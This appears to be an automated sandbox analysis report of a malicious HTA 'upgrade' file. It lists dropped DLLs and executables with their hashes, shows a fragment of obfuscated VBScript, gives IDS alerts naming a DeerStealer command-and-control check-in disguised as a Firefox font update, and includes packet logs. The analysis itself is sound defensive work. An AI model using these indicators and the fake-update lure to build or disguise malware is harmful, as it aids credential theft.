                                                                                                                                                                  SHA-512:38D2C4821C147D47381C15AACB76B577AEE9FAB81329B71BE0B965CE31AB76B26CBB683D919B033AA79594AABC0401CE5D336DE537724CFADC9CCBBFBFC5A678
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:.`I`Ty.Det.o.u.M.r..NKS.H..H..e.O..Bvq.......fe....UNr.K.c^.C..Z..DMf.Z\.d...jK`]...p.B_jPV.^.Ej..J.[.B..K.Ed.bpwk.P..IF..akg..LVMf.Bm..tv.t..i..U....JhU..[.ZU...qYJl.BluJVadQPwj..DS..u..p.m.NO....J..y.O.H..E.u.....uP.E..h....]F.j.k..U....nPF..d.wFx.l...s..i..D.[..B.W...JM_.cLM.AR.....\Jdf..x.d.....K......t.db.\]..t.B.T.v.Z..K..e`[.dwJ.d.....oL.DdY.tCsoMHk....gE...I.T^.bZ.Z.qF....\....M....sP.f..u.i.F.J...CZ.g.sL]....bo...VJ.pi..`..OD..P.Gy.WOE].MW..aiFunRwk.a.tm..Pm...h.yQ.[.`J....w..B[Z..Lw.A.t.Fm..RnF..PPxv.BU.l^.GI..pqm..OvN.Dh.^.ecM...Zk..t.T......BkBd^.J..w.h._..QwI.]QavFG..b..PERM.Ev...xwi..M.jmhndD.H.BVuto.M\JN.ZMmd.yC\Te....G.u..Mh...a...M.....M...]jN...P..XB._...J.o[.oKa.s.Kf.y.T.^.._C.X.y.rE..h.l.N.y..IQke.L`R..C.....e]A...YARWZ......vnG.D...b......BKZ.WRxG...O..O.A..fO.G.XF...\.`....ih.c.qw..G..X..n..oS.e.bp.n.t....NSgi..VdK[...PKa...N.T...^.R..q....i.c.qE.Et..\K..D^tjc\.w..\.hK.RT_P.U....Lb.h_U].jD..GBc..]Ajk..IoFD...o..S.....[L[.wF.Wa.SlnYM..uo.ZZ..Y.ur.Avp.wP..Yw........

                                                                                                                                                                  C:\Users\user\ikvseqx

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):22570
                                                                                                                                                                  Entropy (8bit):5.339220305698995
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:384:5Y2p26eG9CtHs5NU8+uw724entQq+J/779pI0cdZWT4He9KKO9VGi5E:5Y2A6eqsHs5NU8z4enp+JT7Hl8bGuE
                                                                                                                                                                  MD5:9078F84220E8B7379BFA2F4333995BC1
                                                                                                                                                                  SHA1:21F0CBEFFDCD99BCE6521AADEAD7AA6F68EDD666
                                                                                                                                                                  SHA-256:B7C4FEC4464E43A5736BF764F137F9AEE03C7E0D67755D964AB74854BC725F8F
                                                                                                                                                                  SHA-512:45DD6188E3085D34E632091068F9D7C31D22E2643A20FB1A01C1C255F593E71FA2AEB34FD85D22DFACFBBDF7A1D69750206745215EE77D01A759ADA9849BE090
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:[.R..jx.GRhK.`.HgI.g.....Z...m...D......A.........mI..O.Rg..\s.....oNc.C..gr^vn.iVIy.B....TZ..g.WATY.F....v...H.....`....p..fP..OM.R..v.HDqs.....V..C...c..R.oE..xS\....`v..Ou.LkS..H.RL.UqNP.._d...f.gI]Qr....E..s..VA..A...w.UJ.\.IC.G..a.^.fPK....hbNaq.cq..[gP.QR..Vj.dSr....iX.x.aN.xk.m.V.O..`a.OEH\.Xy..oA.b.G..l..]Dh^o..i..l.RLRP.jaIpi..Q..Xv.I..GYpd.fd.....t.T..Y.n.H..v..X^.....d.d.nPy..Yk..ee.KKjS`J.m^.A...e.X...irv...J`..jyMLTn.H]Jn...FnxMp.Gg[.C.Y......KYU.XO.......TR^l\e....vvE..a.AGbJo..J.IJZGari...[R..ORhPP....LnM.Xd.n.Eo....qMgWOg..eL...U..SI.ff.hiZ.....pAUfw..IU.P...J..D..PD.W.lPD..Vq.\.Sm...Q.G.wdvuoNQ_.O\..d...`.....[.r.....L....AN\.l.mp.Ifoic.....[eBDmpk.P.......F.Gp...ST.....pUu.x...O..pn.J...oEqD.f.B.yItPao...CvL.hVk.`....X.gR.I.rb..k.hGpxI...daQyL.o.k..xO.SL.hc.a.G_wbV....bk....EV`.sOmMN...K..CqglZ...YPigWRO.q..L.NUw...q[...pVF..l.[j.Pm...j\..w._NAk.O..ec[`q.jI.X.wu.u...Z...k.g`.N.ZoC.t.M.a.w..k...g.su.WiT.c.m...o..MHr...k.LDE`..BxQ..WgY.p...........hJ.s^.tmFPYU..y.[.B.io

                                                                                                                                                                  C:\Users\user\msvcp100.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):608080
                                                                                                                                                                  Entropy (8bit):6.297676823354886
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:koBFUsQ1H5FH3YUTd/df0RA7XkNvEKZm+aWodEEiblHN/:dFUsQ1H5FHdGKkNvEKZm+aWodEEcHN/
                                                                                                                                                                  MD5:D029339C0F59CF662094EDDF8C42B2B5
                                                                                                                                                                  SHA1:A0B6DE44255CE7BFADE9A5B559DD04F2972BFDC8
                                                                                                                                                                  SHA-256:934D882EFD3C0F3F1EFBC238EF87708F3879F5BB456D30AF62F3368D58B6AA4C
                                                                                                                                                                  SHA-512:021D9AF52E68CB7A3B0042D9ED6C9418552EE16DF966F9CCEDD458567C47D70471CB8851A69D3982D64571369664FAEEAE3BE90E2E88A909005B9CDB73679C82
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$..-`..~`..~`..~i.4~b..~{.;~c..~`..~...~..?~a..~{.9~a..~{..~P..~{..~Y..~{..~e..~{.<~a..~{.=~a..~{.:~a..~Rich`..~........................PE..d.....M.........." .........f.......q........cy..........................................@.............................................m......<....P...........=...0..P....`.......................................................................................text............................... ..`.rdata..-...........................@..@.data...0L.......8..................@....pdata...=.......>..................@..@.rsrc........P......................@..@.reloc..R....`......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\msvcr100.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):829264
                                                                                                                                                                  Entropy (8bit):6.553848816796836
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:QgzGPEett9Mw9HfBCddjMb2NQVmTW75JfmyyKWeHQGoko+1:HzJetPMw9HfBCrMb2Kc6dmyyKWewGzB1
                                                                                                                                                                  MD5:366FD6F3A451351B5DF2D7C4ECF4C73A
                                                                                                                                                                  SHA1:50DB750522B9630757F91B53DF377FD4ED4E2D66
                                                                                                                                                                  SHA-256:AE3CB6C6AFBA9A4AA5C85F66023C35338CA579B30326DD02918F9D55259503D5
                                                                                                                                                                  SHA-512:2DE764772B68A85204B7435C87E9409D753C2196CF5B2F46E7796C99A33943E167F62A92E8753EAA184CD81FB14361E83228EB1B474E0C3349ED387EC93E6130
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........pm...>...>...>..>...>...>F..>...>...>...>..>...>..>...>D..>...>...>...>...>...>...>Rich...>........................PE..d......M.........." ..........................sy............................. ......A.....@.........................................pt.......`..(...............pb......P............................................................................................text...F........................... ..`.rdata..............................@..@.data...L}... ...R..................@....pdata..pb.......d...Z..............@..@_CONST..............................@...text.....2... ...4..................@.. data.........`......................@..@.rsrc................v..............@..@.reloc...............z..............@..B................................................................................................................................

                                                                                                                                                                  C:\Users\user\msvcr90.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):653952
                                                                                                                                                                  Entropy (8bit):6.885961951552677
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
                                                                                                                                                                  MD5:11D49148A302DE4104DED6A92B78B0ED
                                                                                                                                                                  SHA1:FD58A091B39ED52611ADE20A782EF58AC33012AF
                                                                                                                                                                  SHA-256:CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
                                                                                                                                                                  SHA-512:FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\pyexec.exe

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):29152
                                                                                                                                                                  Entropy (8bit):6.656857622778623
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:768:+yq82Ud7/zfkn8I+ilpd4TILqIgXYoBCH/3hprl:Zq824LfMV4TqqIgXYoBCH/3hpB
                                                                                                                                                                  MD5:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  SHA1:5B94D0ADAC4DF2D7179C378750C4E3417231125F
                                                                                                                                                                  SHA-256:A73454C7FAD23A80A3F6540AFDB64FC334980A11402569F1986AA39995AE496D
                                                                                                                                                                  SHA-512:5C0A5E9A623A942AFF9D58D6E7A23B7D2BBA6A4155824AA8BB94DBD069A8C15C00DF48F12224622EFCD5042B6847C8FB476C43390E9E576C42EFC22E3C02A122
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=...=...=....`.?...#.e.?...#.c.<...#.r.?.......8...=...f...#.u.$...#.b.<...#.g.<...Rich=...................PE..L......I................."...(......a,.......@....@..................................u......................................lB..P....p..@............N...#...........................................A..@............@..x............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........P.......0..............@....rsrc...@....p.......<..............@..@................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\python27.dll

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):2649600
                                                                                                                                                                  Entropy (8bit):6.721887906506716
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:49152:od0krhjbVYU9U/ElyrLKlvGBO58GBjy9nYM6JBe4PjnhMsQHNClhIdYTf2O+yX3g:xkrRyylvGB65cNCMghMtHIledkp7j
                                                                                                                                                                  MD5:22AC09892F3706C6660D1FFE3387C07A
                                                                                                                                                                  SHA1:06E0F1EA9958B338598D0B1378918E4EFCA773B8
                                                                                                                                                                  SHA-256:2E158DFBCF37E16D4B0D73D59F5D583A733A12C7CFED243A76B2DE2FC9DEFBF7
                                                                                                                                                                  SHA-512:4E40E904E680FD861BBB782C4B790C3B290E612E8FC196AB520B1AB7DE53E696DF316D45968F744DDF218CE04CA06AE2AE1CBF8B6B8CAB9C04C980CA32BEFEB0
                                                                                                                                                                  Malicious:true
                                                                                                                                                                  Antivirus:
                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Bu....{...{...{..[...{..l...{..l....{..l....{..l...{...z.<.{..l..{..l...{..l...{..l...{.Rich..{.................PE..L...x..^...........!.........................................................).....\g)...@..........................g!..|...Q!.x....@(. ....................P(.2\.. ................................O!.@............................................text...z........................... ..`.rdata...D.......F..................@..@.data...pC....!..(....!.............@....rsrc... ....@(.......&.............@..@.reloc..~f...P(..h....'.............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                  C:\Users\user\sgx

                                                                                                                                                                  Download File
                                                                                                                                                                  Process:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  File Type:data
                                                                                                                                                                  Category:dropped
                                                                                                                                                                  Size (bytes):18096
                                                                                                                                                                  Entropy (8bit):5.879061336076682
                                                                                                                                                                  Encrypted:false
                                                                                                                                                                  SSDEEP:384:E3Z12VkpC1lhxmxbPVDnRS4p/B1gYH64eQvm3AB873DLqix90lO/:aZVpC15KTVzv/BeYH5eQv/K3j+M/
                                                                                                                                                                  MD5:D00B94674F06F45B8315CCF49D3A383B
                                                                                                                                                                  SHA1:465CCCF79A1B7AB9D973DB70C3A253E4A066AA6B
                                                                                                                                                                  SHA-256:FC2EBD32F984EC563113D6759DB21D1FF4394DA6BC0C688C9165D1D2E60FADCD
                                                                                                                                                                  SHA-512:63768752A2406BAF517F675B6130798D55F16731152491F4C99C0D39AAB394EB96A67410875BC947685125BCE611FC50B021B9A2935D491BE62B3F75E9BB70F6
                                                                                                                                                                  Malicious:false
                                                                                                                                                                  Preview:.....F........D..Oh..Io.Z..j..k..tBp.M.sFj....DN.....mb.g.d.D_.m.Y..r.]f.jc.F.q..s........uL.ah.H..]g.p[U^.NET.N...Q....N.WVPn..[Ud...v..GS.Uq..FH.......hu.ltd.p.N..rSA.X..Vj.DJ.B..sjf..hSqn..m..p..L.O.fg..[Z...o.B.c..C..i.BX.t...XDFjU....eFMRO..bZHu..gV.J.HCnRD.Qu.TPKN\c.Z.VjA.h.P.g.n.\..Fy...O]K.j...eW.T...y.tQ.oZlrW.T.S`.u....L..g......d..D.R`XW....rSQ.T..f.D.k.IcYk.F.cvd..v....C^......tM..kb.vk.lO\...g...QYq^..X..KOB..wN.CrqD.i..yes....cF]E._KsV.D..v.....HpB.APO.G^.vZ.N..uZ.h^..J.Ux............w.......D.Z.Nq.....O_mKO..EW.....Ru.m.k.N.m].i.D..VC.h.y..PM..FJ..]I.qg.Q.w...D..A.Mb\...XH.dU.lG...H...E`.r.mv.]].w.N....`.u.K.a...B.A.Dhw.I..guBN.sjaN..QI...p.....XRB.g.O.]eNZ.Pjw].C.r.C.QBVx...M`v...I.cit..mO.jj.......E...xFB.]...DF`gs..tRGZO...ON.^.^.m.p...ro`.....dyIvb...v.Q....KtI_....s.rq.].`.T.CEt..W...XmWxk...X.W.S......dQ..].V..D.I^.C.B.nE.GX.Eh.VgC...u.C.n.Z...c.poI.LN.f\i[.u...`.T..N..uo\j.Z.Za.g..h.Y..e..pZ..Z.Yb.EgFFj.....Z...X.dWn....Q..q..Nt.f.yFrG...CeujvtwLrVANx.ri..rGy...ne

                                                                                                                                                                  Static File Info

                                                                                                                                                                  General

                                                                                                                                                                  File type:HTML document, ASCII text, with very long lines (15528)
                                                                                                                                                                  Entropy (8bit):4.8705177048439525
                                                                                                                                                                  TrID:
                                                                                                                                                                  • Visual Basic Script (13500/0) 27.83%
                                                                                                                                                                  • HyperText Markup Language (12001/1) 24.74%
                                                                                                                                                                  • HyperText Markup Language (12001/1) 24.74%
                                                                                                                                                                  • HyperText Markup Language (11001/1) 22.68%
                                                                                                                                                                  File name:upgrade.hta
                                                                                                                                                                  File size:25'702 bytes
                                                                                                                                                                  MD5:03f88b6e5c92cf8865b13fb7495eac0a
                                                                                                                                                                  SHA1:5f8a0e82674b25a9ef0f5d93f23075b1d7fb632b
                                                                                                                                                                  SHA256:c839ec03c9b07879980d362ba4615df453d6e5847baf8fb89e1d0f2c5bafb2b8
                                                                                                                                                                  SHA512:6d3baedcb209cbeb080c0a5bf31c33441f2c31f3fba77c95e7ff7c549db05871564fca22b30971e0e8465aa9822cb64a06ec7daa7911c7c9318ee4ebcd267d94
                                                                                                                                                                  SSDEEP:192:b4sMlPX9+eCSEXxJckNfWMLAxdEW0UDqSbsCxLuoe23qNT2xZg6w0JGppinxDkdv:b4pX9+eCSEZLgi23q+gSIuq
                                                                                                                                                                  TLSH:D5B2AE2996027C34EA7D07E14C36CEB9D5734178C15532B02783BAB53F19ABBF6A640B
                                                                                                                                                                  File Content Preview:<html xmlns="http://www.w3.org/1999/xhtml">.<head>.<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />.<script language="VBScript">.Function HqfnGBmNfQQLHGUSE().Dim AGqpLgVBjwkKcnb.AGqpLgVBjwkKcnb = 13920.Dim lYemkZRqrlGhpje.lYemkZRqrlGh

                                                                                                                                                                  Network Behavior

                                                                                                                                                                  Suricata IDS Alerts

                                                                                                                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                  2024-12-07T15:44:24.793832+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449769104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:25.663501+01002056550ET MALWARE Win32/DeerStealer CnC Checkin1192.168.2.449769104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:27.686075+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449777104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:29.616456+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449782104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:33.892566+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449793104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:36.297742+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449799104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:38.353923+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449805104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:43.210359+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449810104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:45.130316+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449822104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:47.335310+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449828104.21.72.125443TCP
                                                                                                                                                                  2024-12-07T15:44:50.067112+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449834104.21.72.125443TCP

                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                  TCP Packets

                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                  Dec 7, 2024 15:43:12.055335045 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:12.055388927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:12.055478096 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:12.063922882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:12.063936949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.286453962 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.286653042 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.290833950 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.290846109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.291079998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.307096958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.347332954 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.992383957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996098995 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996171951 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.996197939 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996263027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996294975 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996308088 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.996315002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:13.996352911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:13.996360064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.007884026 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.007910967 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.007936001 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.007945061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.007982016 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.116282940 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.162496090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.162514925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.190185070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.190265894 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.190272093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.198205948 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.198282957 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.198290110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.204449892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.204509974 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.204515934 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.220220089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.220288992 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.220295906 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.228106976 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.228157043 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.228163958 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.236037016 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.236103058 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.236109018 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.243942976 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.243998051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.244004965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.251971006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.252017975 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.252026081 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.259936094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.259989023 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.259996891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.266869068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.266918898 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.266930103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.273909092 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.273962021 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.273967981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.318737984 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.318749905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.365617990 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.380578995 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.382575989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.382631063 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.382638931 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.396533966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.396660089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.396738052 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.396744967 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.396811962 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.408375978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.408385038 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.408463955 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.417104006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.417112112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.417181015 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.421487093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.421539068 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.425918102 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.425926924 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.425976038 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.434547901 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.434557915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.434607029 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.443716049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.443723917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.443778992 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.447998047 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.448054075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.453378916 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.453437090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.459903955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.459959984 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.466501951 CET44349730172.66.0.235192.168.2.4
